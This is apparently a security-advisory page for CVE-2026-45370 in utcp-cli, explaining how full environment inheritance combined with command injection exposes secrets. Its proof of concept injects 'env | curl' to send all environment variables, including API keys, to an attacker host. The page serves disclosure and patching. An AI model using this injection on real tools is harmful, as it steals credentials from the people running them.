Vulnerability in utcp-cli (CVE-2026-45370)
Summary
Vulnerability in utcp-cli (CVE-2026-45370). Confidential information can be exposed externally. Exploitable via cli_communication_protocol.py. Mitigation: upgrade to 1.1.2 or later.
Original description
The description as published by the source.
Summary
_prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in _substitute_utcp_args() tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.
Vulnerable Code
# cli_communication_protocol.py
def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:
env = os.environ.copy() # All secrets inherited
if provider.env_vars:
env.update(provider.env_vars)
return env
Impact
Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:
- Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)
- Database connection strings (DATABASE_URL)
- LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)
- Internal service tokens
Proof of Concept
# Tool defined as:
{"command": "grep UTCP_ARG_pattern_UTCP_END logfile.txt"}
# Attacker supplies:
tool_args = {"pattern": "x; env | curl -s -d @- https://attacker.com"}
# Executed bash script:
# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2>&1)
# -> Full env dump sent to attacker including all secrets
Patched
Fixed in utcp-cli 1.1.2. _prepare_environment no longer copies the full host environment. Inheritance is controlled by a new CliCallTemplate.inherit_env_vars fi…
Source: GitHub Security Advisories (Global) NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-45370 has been found in utcp-cli.
Attackers can target a specific entry point like cli_communication_protocol.py over the network to misuse the product.
Confidential information can be exposed externally. CVSS score: 7.7/10.
What to do: upgrade utcp-cli to 1.1.2 or later.
If unsure, ask your IT team or search "utcp-cli CVE-2026-45370" on the vendor's site.
CVE-2026-45370 (utcp-cli) — CWE-526 / CVSS v3 7.7
Attack vector: remote (network-reachable) / no user interaction
Attack surface: cli_communication_protocol.py / os.environ / _prepare_environment / CliCallTemplate.inherit_env_vars
Patched: 1.1.2 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
A vulnerability (CWE-526) exists in utcp-cli. Attackers reach the vulnerable code path via cli_communication_protocol.py.
Check the vendor advisory for the affected versions of utcp-cli. Attack surface: cli_communication_protocol.py / os.environ / _prepare_environment / CliCallTemplate.inherit_env_vars.
Severity: High (CVSS 7.7/10). Confidential information can be exposed externally.
Update to 1.1.2.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'utcp-cli' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'utcp-cli' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
utcp-cliを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade utcp-cli to 1.1.2ステージング環境で 1.1.2 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- package github.com
- web github.com
- web github.com